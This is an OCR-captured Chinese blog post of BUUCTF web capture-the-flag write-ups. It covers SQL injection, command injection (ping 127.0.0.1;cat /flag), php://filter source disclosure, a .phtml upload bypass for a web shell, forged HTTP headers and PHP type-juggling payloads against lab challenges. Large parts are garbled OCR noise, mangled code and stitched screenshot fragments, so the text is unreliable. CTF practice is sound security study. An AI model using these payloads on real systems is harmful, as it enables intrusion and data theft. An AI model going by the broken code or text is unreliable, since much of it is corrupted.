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X EIRZE: et fisecret.php

[WUSTCTF2020]CV Maker(3 4 E4%)

1. EM, B, LEERS, MbpIli/jEkfilename)s %Kik php, & LS.
[ K Bkik 2019]Havefun(fajAMLRY & it)

[z K#kAk 2019]Knife

1. BEE B, REA%Mshell.

[t KPklk 2019]EasySQL (7 B % HD)

username="admin’or 1=1# and password="FE{f 5’

FF4: or 1=1#

WS . FEE

[ACTF2020 #7438 ]1BackupFile( £ 3C 14 itk & &php§5 25 2Y)

1. Fwsacnfa i & 43 3 #Findex.php.bak

ource. php

info. t%?f‘_ %’f J\ﬁ E

> index. ph

2,

include_once "flag.php";

if(isset(3_GET[keyT)) {

Skey = $_GET[key;

if(lis_numeric($key)) {//7 2 Skey A ¥+, %t Just num!
exit("Just num!");

}

$key = intval($key);

$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsws54w3";
if(Pkey == $str) {

echo $flag;

}

}


https://blog.csdn.net/weixin_34553878
https://so.csdn.net/so/search/s.do?q=ctf%25E8%25B5%259B%25E9%25A2%2598secret.php&t=blog&o=vip&s=&l=&f=&viparticle=

else {

echo "Try to find out source file!";

}

BRkSkeyR T, HI5HEIR 123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3

WK

LA, stringZEMIntggxs fRRS, string& i@ HHomint WS — N/ AL EHKTE AR, RORERATHH%
Fo

key=123% 1 .

[ACTF2020 #7438 ]Upload (3L L A%-Rif dinjs B iE & H 44 B 585 )
1. F12, MK onsubmit="return checkFile()”, £%id i % 46 iF
2. RIAEE bLAEphp, B2 AT B8 )G b 2R 44 B3 38 1 php
EE—a)EARY, Hburpsuitedf, EXfilenamelt )54 4. phtml, # B8],
&G, W R

error_reporting(0);

I E B H 3

define("UPLOAD_PATH", "./uplo4d");

$msg = "Upload Success!";

if (isset($_POST['submit])) {

$temp_file = $_FILES['upload_file'][['tmp_name;

$file_name = $_FILES['upload_file'['name;

$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', '‘php4’, 'php57)) {
exit('nonono~ Bad file! ');

}

$new_file_name = md5($file_name).".".$ext;

$img_path = UPLOAD _PATH . "/". $new_file_name;

if (move_uploaded_file($temp_file, $img_path))

$is_upload = true;

}else {

$msg = 'Upload Failed!";



}
echo'

.$msg." Lok here~ "$img_path."

},

>

[ACTF2020 #r4:#€]Exec( T 2 #AT)

1. %ping 127.0.0.1, BEpingi@

2. ping 127.0.0.1;cat /flag#1127.0.0.1 & cat /flag#f 7] LA
SR AR %038 ping 127.0.0.1 && cat /flagih AT
[ACTF2020 #i 4 %]Include(X &%)

< C © #& bel141a1-9acb-403a-84d8-1a7c278ade3e.node3.buuocj.cn/?file=flag.php

Can you find out the flag?

1. E#:?file=php:/filter/read=convert.base64-encode/resource=flag.php
[ & Kka% 2019]Http
1. Ctrl+UEF VRIS, KILT Secret.php

4:3H<br /><br />

R B LR, ERY. ToTEE(F2ef. Rahzed. Litife. —lbbIRmIZEA RS 22 R Dr /Hbr />

SN E A S SRV AT R ) i e R B, N ORIE R R R s R 2 % 42 FiAR<a style="border:none; cursor:default;” onclick="return false” href:’yﬁlﬂdaﬂ </p>
T
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e o | o [z | = [ ens | wns [ans [nere | aeen | mesm |

1 = |2yl ..

iz | [ mE | [ <ie || >1r B5: httpi/inode3.buuoj.cn27439 7 (7,
£ Lol 53
Raw | 2k | Hex Raw | 2 | Hex | HTML | Render
£ i . border: 1px colid #ccg 4
l l i padding: 7px Opx; |
GET iSecret_php HTTPM.1 border-radius: 3px;
Host node3.buuoj.cn:27439 JillES padding-left:5px;
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; ne750) Ge. . | ———— -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075);
Accept text/html_applicationfxhtml+xml_application/xml:q=0.9.i... £ box-chadow: inset 0 1px 1px rgba(0,0,0,.075);
Accept-Language zh-CM,zh;q=0.8.zh-TW:q=0.7.zh-HK;q=0.5,en-US:q=0.... = -webkit-transition: border-color ease-in-out .15¢,-webkit-box-chadow
Accept-Encoding gzip, deflate ease-in-out 155
Connection close -o-trancition: border-color ease-in-out .15¢,box-cshadow cace-in-out
Upgrade-Insecure-Requests 1 15s
transition: border-color ease-in-out .155,box-shadow ease-in-out .155
Referer https:/fwww Sycsecret.com ;
.input:hover{
border-color: #808000;
: box-cshadow: Opx Opx 8px #7CFCO0;
'
<[styles
<head>
<meta charset="UTF-8"> 1
<title>SycSecret</title>
</head>
<body background="./images/background.png"” style="back ind-repeat:no-repeat
background-size:100% 100%: background-attachment: figed;" >
</br=<jbr=</br></br=</br></br></br></b Jhr></hr></br></br>
<h1
=" - ilv:arial: i ize:S0px;text-align:centerfont-family:KaiTi;" >
Pleace use "Syclover” browser</h1>
<div style="position: absolute;bottom: Uy "> <p align="center" style="font:talic
15px Georgia,serif;colorawvhite;"> Syclover @ cldy< >
</body>
</html>
> NS N
ELR ¥ A Syclovery B8, FH#nUser-Agent
4,
1|\K W )2
Raw | sk | Hex Raw | 2 | Hex | HTML | Render
£ & . padding: 7px Opx;
| 0 border-radius: 3px;
GET /Secret.php HTTP/1.1 padding-lcft:5px;
Host node3 buucj.cn:27439 Bl ] -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075);
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; ne75.0) Ge... box-shadow: inset 0 1px 1px rgba(0,0,0,.075);
Accept text/html,application/xhtml+xml.application/xml;g=0.9.i... t ER J -webkit-transition: border-color ease-in-out .15<,-webkit-box-shadow

Accept-Language
Accept-Encoding
Connection
Upgrade-Insecure-Requests
Referer

User-Agent

zh-CN,zh;q=0 8,zh-TW:q=0 7 zh-HK;q=0 5,en-US;q=0

gzip, deflate

close

1
https:/fwww.Sycsecret.com
Syclover

HEEN MR, B nX-Forwarded-For
[ % K Bkhk 2019]BuyFlag

T FFmenu T Kpayflagls, &I —hint

E

e

case-in-out .15
-o-transition: border-color ease-in-out .155 box-shadow case-in-out

155
trancition: border-color eace-in-out .15¢,box-chadow eace-in-out .15¢
'
.input:hover{
border-color: #808000;
box-shadow: Opx Opx 8px #7CFCO0;
'
</style>
<head>

<meta charset="UTF-8">

<title>SycSecret</title>
</head>
<body background="./images/background.png” style="background-repeatno-repeat
background-size:100% 100%; background-attachment: fixed:" >

</br></br»

</br></br=</br></br></br> </br></br></br></br><
<hl

bdle = font famibearial-color e sl

IND!!! you can only read this locall ||<,-'h'|i

<div style="position: absolute;bottom: Oawidth: W: "fontitalic
15px Georgia,serif;colorawhite;"> Syclover @ cldy</p> < /div> E

</hodv>

ptext-alignicenter;font-family:KaiTi;">




SYCLOVER

FLAG

FLAG NEED YOUR 100000000 MONEY

ATTENTION

If you want to buy the FLAG:
You must be a student from !!!

You must be answer the correct|password!!!

1. Z100000000 money

2. IR EGET I student

3. correct password

FEVRIS B 5 i — BOR DA RO RE

{/body>
-

N o W N

post money and password
if (isset ($ POST[ password’ [|)) {

$password = § POST[ password’ ]
if (is numeric ($§password)) {

echo “password can’t be number</br>”:
Jelseif ($password == 404) {

echo “Password Right!</br>”:
J

}
—>

1. EpostiEZmoneyflpassword, money &} it Hik

2, passwordZF5EI 2404, EARERETE, BATHphpigRA
money=1e10&password=404a

BWHEW . o .

Fburpsuitedli &
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[Raw | &1 [ 5 [ Hex |

POST /pay.php HTTP/1.1

Host: 575639d7-74bc-4c45-8ffe-d72d5f37 cce¥.node3 buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rvi75.0) Gecko/20100101 Firefox/75.0
Accept: text/htmlapplication/xhtml+xml,application/«ml;q=0.9,image/webp,*/*q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;g=0.7,zh-HK;q=05,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/s-vwww-form-urlencoded

Content-Length: 24

Origin: httpy//S75639d7-74bc-4c45-8ffe-d72d5f37cce?.node3.buuoj.cn

Connection: close

Referer, hitpy//S75639d7-74bc-4c45-8ffe-d72d5f37cce?.node3 buuoj.cn/pay.php

Cookie| user=0
Upgrade-lnsecure-Requests: 1

password=404a&money="1e10

KPuserfE R0, HMTCh1, HiEE
JRSCEERE:  https://www.cnblogs.com/wrnan/p/12720927.html
2 3k 75 B Py A 2 SR VR T 0 4%, 5 R IR AN VA Bk R TRATD, FRAT 1K S B A 3

e




	ctf赛题secret.php,BUUCTF web 刷几道菜鸡能做的题

